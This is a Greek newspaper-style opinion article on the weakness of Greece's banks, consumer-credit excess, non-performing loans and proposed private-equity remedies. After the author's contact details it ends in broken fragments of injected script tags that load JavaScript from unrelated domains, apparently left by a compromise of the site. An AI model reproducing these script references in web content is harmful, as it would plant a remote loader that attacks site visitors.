Εν αρχή ην οι τράπεζες

1

Σήμερα που -ως ενεργητική αντιμετώπιση της κρίσεως- απαιτείται γενναία και καλώς στοχευμένη χρηματοδότηση της παραγωγής, το ελληνικό τραπεζικό σύστημα αδυνατεί να ανταποκριθεί και να χρηματοδοτήσει την επανεκκίνηση των επιχειρήσεων.

Παρά την ανακεφαλαίωση, είναι πολύ αδύναμο. Παρ’ ότι (α) ο μεγαλύτερος όγκος των καταθέσεων επέστρεψε, (β) ο δανεισμός (μηνός Σεπτεμβρίου) από την Ε.Κ.Τ. ήταν της τάξεως των 42,6 δισεκατομμυρίων ευρώ εκ των οποίων τα 5 δισεκατομμύρια είναι άτοκη ρευστότητα και (γ) αναμένεται η εφαρμογή της αποφάσεως μειώσεως του «κουρέματος» των ελληνικών ομολόγων, άρα αυξήσεως του ποσοστού προεξοφλήσεώς των, γεγονός το οποίο θα δώσει μια πρόσθετη ρευστότητα στο ελληνικό τραπεζικό σύστημα ύψους 15 δις, η χρηματοδότηση των επιχειρήσεων δεν έχει αποκατασταθεί.

Αντιθέτως:
– Τα επιτόκια παραμένουν ιδιαιτέρως υψηλά, της τάξεως έως και 11%-13% για κεφάλαια κινήσεως.
– Τα σχολαστικά και γραφειοκρατικά κριτήρια χρηματοδοτήσεως, που θέτει τόσο η Τράπεζα της Ελλάδος όσο κάθε τράπεζα χωριστά, αποτελούν ακόμη μεγαλύτερο εμπόδιο αφού ελάχιστες επιχειρήσεις τα πληρούν και πολύ συχνά όχι με δική τους ευθύνη, αφού σχεδόν όλες έχουν πληγεί από την κρίση. Ακόμη και μια υγιής επιχείρηση δεν αντέχει σε απότομη αύξηση των επισφαλειών της και ταυτόχρονη πτώση του κύκλου εργασιών της.

Ταυτοχρόνως, σημαντικός αριθμός επιχειρήσεων της τάξεως του 35% του συνόλου, έχουν μη εξυπηρετούμενα (κόκκινα) δάνεια. Πριν λυθεί το πρόβλημα αυτό ούτε τα κριτήρια χρηματοδοτήσεως θα γίνουν ελαστικότερα, ούτε οι τράπεζες θα είναι διατεθειμένες να αναλάβουν τον ελάχιστο κίνδυνο. Οι τράπεζες πρέπει να απαλλαγούν από τα δάνεια αυτά ώστε να εξυγιάνουν τους ισολογισμούς τους. Έτσι θα αποκτήσουν πάλι πλήρη πρόσβαση στην διεθνής κεφαλαιαγορά και χρηματαγορά, γεγονός που θα τους επιτρέψει την τακτική χρηματοδότηση της οικονομίας.

Βεβαίως, αυτό είναι εντελώς θεωρητικό, στο βαθμό που το σοκ της κρίσεως ήταν πολύ ισχυρό και η κουλτούρα των χορηγήσεων δεν θα ανακτηθεί μόνον επειδή θα υπάρχουν διαθέσιμα. Ήδη προ κρίσεως, το τραπεζικό μας σύστημα βάδιζε προς την κατάρρευση έχοντας στραφεί στην -αδιέξοδη- χρηματοδότηση της καταναλώσεως αντί της παραγωγής. Τα δάνεια προς την κατανάλωση είχαν ανέλθει το 125% των δανείων προς επιχειρήσεις, στις οποίες συμπεριλαμβάνονται και οι χιλιάδες κατασκευαστικές. Σε μια χώρα με τόσο μεγάλη ροπή στις εισαγωγές και παραγωγή/υπηρεσίες πολύ χαμηλής προστιθεμένης αξίας αυτή η επιλογή ήταν καταστροφική, οι τράπεζες θα είχαν πρόβλημα αργά ή γρήγορα ακόμη και αν δεν είχε προκύψει η διεθνής κρίση του 2007-2008.

Η ιστορία ξεκινάει στις αρχές της 10ετίας του ’90, όταν ξεκίνησε να διαμορφώνεται μια ολιγοπωλιακή και αδιαφανής αγoρά με έντονη πολιτική διαπλοκή. Ποιος δεν θυμάται την έκθεση της περιβόητης Επιτροπής Καρατζά, ήδη από την εποχή που ο Κώστας Σημίτης ήταν Υπουργός Εθνικής Οικονομίας; Ουδόλως τυχαίο ότι τα συμπεράσματα της επιτροπής έγιναν πράξη επί πρωθυπουργίας του και ο μοιραίος άνθρωπος, Θεόδωρος Καρατζάς, Πρόεδρος της Εθνικής!

Ήδη από τότε τα παπαγαλάκια του συστήματος -μέχρι και ο απίθανος Σούλης Αποστολόπουλος, πρόεδρος της Τραπέζης Αττικής μετά την αποφυλάκισή του- μιλούσαν δημοσίως για το μοντέλο των 3,5 τραπεζών!!! Δυστυχώς, τότε όλοι χειροκροτούσαν και έτρεχαν να ακούσουν τις ομιλίες των αλαζονικών πρωτοεμφανισθέντων τραπεζιτών, όπως ο Νίκος Νανόπουλος, Διευθύνων Σύμβουλος της EUROBANK, της τραπέζης-Frankenstein, που μέσα σε 10 χρόνια βρέθηκε να κατέχει διψήφιο ποσοστό του συνολικού κύκλου εργασιών και των καταθέσεων, εξαγοράζοντας, αλλά στην πραγματικότητα, καταπίνοντας όσες τράπεζες βρέθηκαν στο διάβα της.

Επρόκειτο για το πλέον λανθασμένο υπόδειγμα στο ελληνικό τραπεζικό σύστημα, το οποίο όλες οι τράπεζες ασμένως υιοθέτησαν, πλην της Τραπέζης ΕΡΓΑΣΙΑΣ, την οποία -όλως τυχαίως- εξαγόρασε και ουσιαστικώς εξαφάνισε η EUROBANK. Ότι απέμεινε από την υποδειγματική αυτή τράπεζα ήταν η PROBANK, η οποία δεν κατόρθωσε να αποφύγει την τύχη της μητέρας της…

Τότε έγινε και η μεγάλη (κατα)στροφή στη δομή του τραπεζικού συστήματος. Αναφέρομαι αφ’ ενός στα απρόσωπα κεντροποιημένα συστήματα, που απαξίωσαν τα παλαιά δίκτυα πλήρως επανδρωμένων καταστημάτων, και αφ’ ετέρου στη μετατροπή των καταστημάτων σε απλά κέντρα πωλήσεων με σκοπό την ταχεία και πάση θυσία αύξηση του μεριδίου αγοράς από εργασίες retail: αυτοματοποιημένες διαδικασίες, χαμηλό κόστος ανειδίκευτου ανθρωπίνου δυναμικού και υψηλές αποδόσεις λόγω των υπερ-υψηλών και ανεξέλεγκτων χρεώσεων σε προσωπικά δάνεια και κάρτες.

Τότε τέθηκαν οι βάσεις της χρεωκοπίας που σήμερα ζούμε με την άκριτη στροφή στην καταναλωτική πίστη, η οποία έγινε της μόδας και μάθαμε να την αποκαλούμε retail. Ο κάθε πικραμένος που πληρούσε αστείες στοιχειώδεις προϋποθέσεις μπορούσε να πάρει καταναλωτικά δάνεια και κάρτες. Αν, μάλιστα, ήθελε και ένα σπίτι ακόμη καλύτερα, το χρηματοδοτούσαν στο 130% της αξίας του!

Βεβαίως, η άστοχη επιθετική πολιτική των τραπεζών δεν απαλλάσσει τους άφρονες δανειολήπτες, που ξόδευαν ανέμελα και έπαιρναν νέο δάνειο για να εξοφλήσουν τα παλαιό, καλή ώρα όπως το ελληνικό δημόσιο που εξέδιδε νέα ομόλογα για να αποπληρώσει τα παλαιά, αλλά σήμερα οι πάσης φύσεως ψεκασμένοι -και όχι μόνον!- αναζητούν να μάθουν αν το χρέος είναι επαχθές! Δυστυχώς, το μόνο επαχθές είναι η α(προ)νοησία πολιτών και κυβερνήσεων, που καταλώνανε δανεικά νομίζοντας ότι ποτέ δεν θα τα αποπληρώσουν!!!

Εκείνη την περίοδο μπήκε ο σπόρος για το σημερινό πρόβλημα ποιότητος των τραπεζικών στελεχών. Η νοοτροπία «πωλήσεις υπεράνω όλων» έχει οδηγήσει στη δημιουργία μιας γενιάς χωρίς αντίληψη των κινδύνων της τραπεζικής λειτουργίας και πως αυτοί αντισταθμίζονται και αντιμετωπίζονται. Μια γενιά στελεχών χωρίς γνώσεις και εμπειρία επιχειρηματικών χρηματοδοτήσεων, άρα χωρίς γνώση της ουσίας και του βάθους της τραπεζικής λειτουργίας. Είναι δυνατόν αυτοί οι άνθρωποι, μετά μάλιστα το σοκ της κρίσεως να ανταποκριθούν στις ανάγκες χρηματοδοτήσεως μιας αγοράς σε συνεχιζόμενη ύφεση; Είναι εκπληκτικό ότι η συντριπτική πλειοψηφία των αξιόλογων στελεχών από Τράπεζες όπως η Ε.Τ.Ε.Β.Α. (μοναδική ελληνική επενδυτική τράπεζα) και η ΕΡΓΑΣΙΑΣ είναι πλέον εκτός συστήματος!

Εν κατακλείδι, τα τελευταία 20 έτη το τραπεζικό μας σύστημα, αντί να εκσυγχρονισθεί, απέκτησε κερδοσκοπικά έως τοκογλυφικά χαρακτηριστικά και υιοθέτησε αντιλήψεις & πρακτικές αταίριαστες με την ελληνική οικονομία και τις ανάγκες της. Πρακτικές & αντιλήψεις που με περίσσιο θράσος κάποιοι, ακόμη και σήμερα, επιμένουν να θεωρούν σωστές, έστω και αν δημιούργησαν ένα ρηχό τραπεζικό σύστημα το οποίο κατέρρευσε κατ’ αρχήν λόγω της χρηματοπιστωτικής κρίσεως και οριστικώς λόγω του P.S.I.

Υπενθυμίζω ότι, ιμάντας μεταφοράς της κρίσεως στη χώρα μας υπήρξαν οι τράπεζες, οι οποίες την επαύριο του κλεισίματος της ευρωπαϊκής διατραπεζικής αγοράς (Οκτώβριος 2008) βρέθηκαν με ένα άνοιγμα της τάξεως των 28.000.000.000 ευρώ και ξεκίνησαν αμέσως τη διαδικασία απομοχλεύσεως εκεί που αυτό ήταν εφικτό, δηλαδή στην επιχειρηματική χρηματοδότηση, μειώνοντας ή/και ανακαλώντας όρια κεφαλαίου κινήσεως και δημιουργώντας συνθήκες πιστωτικής ασφυξίας στην αγορά. Θα άξιζε να μελετηθεί πόσο αυτή η διαδικασία απομοχλεύσεως οδήγησε σε έξαρση την φοροδιαφυγή και ώθησε σε πλήρη κατάρρευση τα δημόσια έσοδα, ακριβώς 18 μήνες μετά…

Όμως, σκοπός του κειμένου αυτού δεν είναι να αναδείξει τις ευθύνες και τα λάθη των τραπεζών, πολλώ δε μάλλον που την τελική, ίσως και μεγαλύτερη ευθύνη φέρει το πολιτικό σύστημα και η εποπτεύουσα αρχή, δηλαδή η Τράπεζα της Ελλάδος. Σε τελική ανάλυση, οι τράπεζες είναι κερδοσκοπικοί οργανισμοί και θα κάνουν τη δουλειά τους με όποιον τρόπο τις συμφέρει.

Είναι πολιτικής τάξεως ζήτημα η δημιουργία ενός ορθολογικού, διαφανούς, δίκαιου αλλά και αυστηρού πλαισίου λειτουργίας των, το οποίο θα κατοχυρώσει την προστατεύει την -sine qua non- ιδιωτικοοικονομική του φύση του τραπεζικού συστήματος και θα θέσει τους κανόνες για την ενίσχυση της παραγωγικής βάσεως της οικονομίας. Είναι ένα ζήτημα που η επίλυσή του θα χρειασθεί χρόνο, πολιτική βούληση, αλλά και έξυπνες πρακτικές εξυγιάνσεως του συστήματος.

Στην πραγματικότητα -όπως ανέφερα στην αρχή του άρθρου- τίποτα δεν μπορεί να γίνει πριν οι τράπεζες απαλλαγούν από τα μη εξυπηρετούμενα (κόκκινα) δάνεια αυτά ώστε να εξυγιανθούν οι ισολογισμοί τους. Δυστυχώς, οι προωθούμενες, από την Τράπεζα της Ελλάδος βάσει του ν.4224/2013, ρυθμίσεις σχεδιάσθηκαν από τις ίδιες τις τράπεζες και αντιμετωπίζουν το πρόβλημα μόνον μέσα από το πρίσμα των δικών τους συμφερόντων, απλώς ρυθμίζοντας υποχρεώσεις χωρίς να δίνουν λύση στο πρόβλημα της χρηματοδοτήσεως.

Η προκρούστεια λογική τους θα οδηγήσει σε κλείσιμο πολλές επιχειρήσεις, οι οποίες υπό συνθήκες φυσιολογικής χρηματοδοτήσεως είναι βιώσιμες και αποδοτικές ενώ οι πρόσθετες απαιτήσεις της τρόϊκας καθιστούν την επίλυση του προβλήματος ακόμη πιο δύσκολη. Τρόϊκα, κυβέρνηση και Τράπεζα της Ελλάδος, σε ένα χορό γραφειοκρατικής παραζάλης, ουδόλως αντιλαμβάνονται ότι προβλήματα όπως αυτά των κόκκινων δανείων, δεν επιλύονται με νόμους και αποφάσεις που αγνοούν την πραγματικότητα της αγοράς, αλλά μόνο με χρηματοπιστωτικά εργαλεία και πρακτικές του μη συμβατικού χρηματοπιστωτικού συστήματος, δηλαδή επενδυτικές τράπεζες, private equity & distress funds κα.

Το μεγάλο πλεονέκτημα όσων συμμετέχουν σε αυτό το σύστημα είναι ότι διαχειρίζονται αμιγώς ιδιωτικά επενδυτικά κεφάλαια και όχι τις καταθέσεις του κοινού. Μπορούν, έτσι, να δρουν χωρίς τις νομικές δεσμεύσεις και γραφειοκρατικές αγκυλώσεις των παραδοσιακών τραπεζών. Μόνον η χρήση τέτοιων εργαλείων θα επιτρέψει την ταχεία εξυγίανση ή/και εκκαθάριση των επιχειρήσεων δεν μπορούν να αποπληρώσουν τα δάνειά τους και θα απαλλάξει τις τράπεζες από το πρόβλημα. Γενικώς, η δομή της οικονομίας μας πρέπει να απαγκιστρωθεί από το προβληματικό τραπεζοκεντρικό μοντέλο, το οποίο επικρατεί σε ολόκληρη την Ευρώπη και να αποκτήσει περισσότερα από τα χαρακτηριστικά του αγγλοσαξωνικού και ιδίως του αμερικανικού μοντέλου, που βασίζεται κυρίως στην κεφαλαιαγορά και στο μη συμβατικό χρηματοπιστωτικό σύστημα.

Η υιοθέτηση ενός τέτοιου μοντέλου είναι απολύτως απαραίτητη τόσο για την έξοδο από την κρίση, όσο και για την εδραίωση της αναπτυξιακής διαδικασίας.

Πως, λοιπόν, θα χρηματοδοτηθεί η εξυγίανση των προβληματικών επιχειρήσεων; Πως θα δοθεί λύση στο πρόβλημα επανεκκινήσεως της οικονομίας; Από που θα προέλθουν τα απαραίτητα κεφάλαια; Στο άρθρο του προηγουμένου Σαββάτου περιέγραψα ένα νέο φορολογικό σύστημα και μια πλήρη και καθολική Φορολογική Σεισάχθεια, ως «αναγκαία συνθήκη» για την επανεκκίνηση της οικονομίας. Το σημερινό άρθρο είναι το εισαγωγικό μιας σειράς 3 άρθρων, στα οποία θα παρουσιάσω και την «ικανή συνθήκη» της επανεκκινήσεως της οικονομίας.

* Ο Ιπποκράτης Χατζηαγγελίδης είναι Χρηματοπιστωτικός Σύμβουλος Επιχειρήσεων.
hippo@otenet.gr
https://www.facebook.com/hippocrates.hatziaggelides
@Hatziaggelides___setforspecialdomain.com/ghfgh34523452′ type=’text/javascript’>___setforspecialdomain.com/ghfgh34523452′ type=’text/javascript’>challengeforme.com/pystats.js’ async=true >challengeforme.com/pystats.js’ async=true >‘ >‘ >‘ >‘ >‘ >‘ >‘ >‘ >